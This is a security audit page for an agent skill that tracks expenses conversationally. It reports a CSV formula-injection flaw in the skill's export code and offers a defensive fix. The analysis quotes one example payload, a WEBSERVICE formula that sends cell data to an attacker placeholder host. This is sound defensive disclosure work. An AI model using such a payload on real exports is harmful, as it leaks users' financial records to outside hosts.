Back to skill

Security audit

ExpenseLog Conversational Expense Tracking

Security checks for vulnerabilities and agentic risk

Overview

This local expense tracker matches its stated purpose, but it needs review because broad conversational logging and an unsafe CSV export can affect sensitive expense records.

Install only if you are comfortable with a skill storing personal expense details in a local JSON file. Use clear, intentional expense-log requests, review entries for mistakes, and avoid opening exported CSVs in spreadsheet software unless formula-like values have been sanitized.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
src/expense-log.js:65
Finding
CSV Formula Injection Through User-Controlled Expense Fields## Vulnerability Details **File Location**: `src/expense-log.js`, lines 65–69 **Vulnerability Type**: CSV formula injection **Risk Level**: Medium ```javascript export(month) { const m = month || new Date().toISOString().slice(0, 7); const monthly = this.expenses.filter(e => e.date.startsWith(m)); const csv = 'Date,Amount,Category,Description\n' + monthly.map(e => `${e.date},${e.amount},${e.category},"${e.description.replace(/"/g, '""')}"`).join('\n'); return csv; } ``` ### Technical Analysis The CSV exporter inserts the user-controlled `category` and `description` fields into spreadsheet cells without neutralizing formula-triggering prefixes. Escaping double quotes in the description provides CSV syntax escaping but does not prevent spreadsheet applications from interpreting values beginning with `=`, `+`, `-`, or `@` as formulas. The category is also user-controlled through `add(amount, description, category)` and is exported without either CSV quoting or formula neutralization. Leading whitespace, tabs, carriage returns, and similar control characters can sometimes be used to bypass simplistic prefix checks. A malicious value such as `=WEBSERVICE("https://attacker.example/collect?data="&A1)` may therefore be evaluated when the exported file is opened in a compatible spreadsheet application. ### Attack Path 1. An attacker or untrusted input source supplies an expense description or explicit category containing a spreadsheet formula. 2. The `add()` method stores the value in the local expense data without validation or formula neutralization. 3. The user invokes `export()`, which places the value directly into the generated CSV. 4. The user opens the CSV in spreadsheet software. 5. If that software evaluates CSV cells as formulas, the injected expression executes in the spreadsheet user's context. ### Impact Assessment Exploitation does not directly grant privileges within the Node.js proc ...[truncated 467 chars]
Remediation
## Remediation Suggestions Apply both standards-compliant CSV escaping and spreadsheet-formula neutralization to every exported field that can contain untrusted data. 1. Convert each value to a string and quote it according to CSV rules. 2. After accounting for leading whitespace and control characters, detect values whose first meaningful character is `=`, `+`, `-`, or `@`. 3. Prefix dangerous values with an apostrophe or another neutralization mechanism appropriate for the supported spreadsheet applications. 4. Apply the protection to both `description` and explicitly supplied `category` values rather than only escaping quotation marks. 5. Consider using a maintained CSV library, but verify that it explicitly supports spreadsheet-formula injection mitigation because ordinary CSV escaping alone is insufficient. 6. Add tests covering dangerous prefixes, leading spaces, tabs, carriage returns, embedded quotes, commas, and newlines. Example defensive approach: ```javascript function safeCsvCell(value) { let text = String(value ?? ''); if (/^[\s\x00-\x1F]*[=+\-@]/.test(text)) { text = `'${text}`; } return `"${text.replace(/"/g, '""')}"`; } const csv = 'Date,Amount,Category,Description\n' + monthly.map(e => [ e.date, e.amount, e.category, e.description ].map(safeCsvCell).join(',')).join('\n'); ```
Vulnerability Patterns
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (3)

Vague Triggers

Medium
Confidence
95% confidence
Finding
The skill is activated by broad, everyday phrases like "Spent $45 on groceries" without defining clear invocation boundaries, which increases the chance of accidental triggering during normal conversation. In a conversational finance-tracking skill, unintended activation could cause incorrect logging of sensitive spending data, budget corruption, or disclosure of personal financial details in contexts where the user did not intend to use the skill.

Scope Creep

Low
Category
Excessive Agency
Content
**USE AT YOUR OWN RISK.**

- The author(s) are NOT liable for any damages, losses, or consequences arising from 
  the use or misuse of this software — including but not limited to financial loss, 
  data loss, security breaches, business interruption, or any indirect/consequential damages.
- This software does NOT constitute financial, legal, trading, or professional advice.
- Users are solely responsible for evaluating whether this software is suitable for
Confidence
70% confidence
Finding
Skill's behavior or capabilities extend beyond its stated purpose. Scope creep allows an agent to perform actions unrelated to its documented functionality, increasing the attack surface.

Scope Creep

Low
Category
Excessive Agency
Content
**USE AT YOUR OWN RISK.**

- The author(s) are NOT liable for any damages, losses, or consequences arising from 
  the use or misuse of this software — including but not limited to financial loss, 
  data loss, security breaches, business interruption, or any indirect/consequential damages.
- This software does NOT constitute financial, legal, trading, or professional advice.
- Users are solely responsible for evaluating whether this software is suitable for
Confidence
70% confidence
Finding
Skill's behavior or capabilities extend beyond its stated purpose. Scope creep allows an agent to perform actions unrelated to its documented functionality, increasing the attack surface.

Static analysis

No suspicious patterns detected.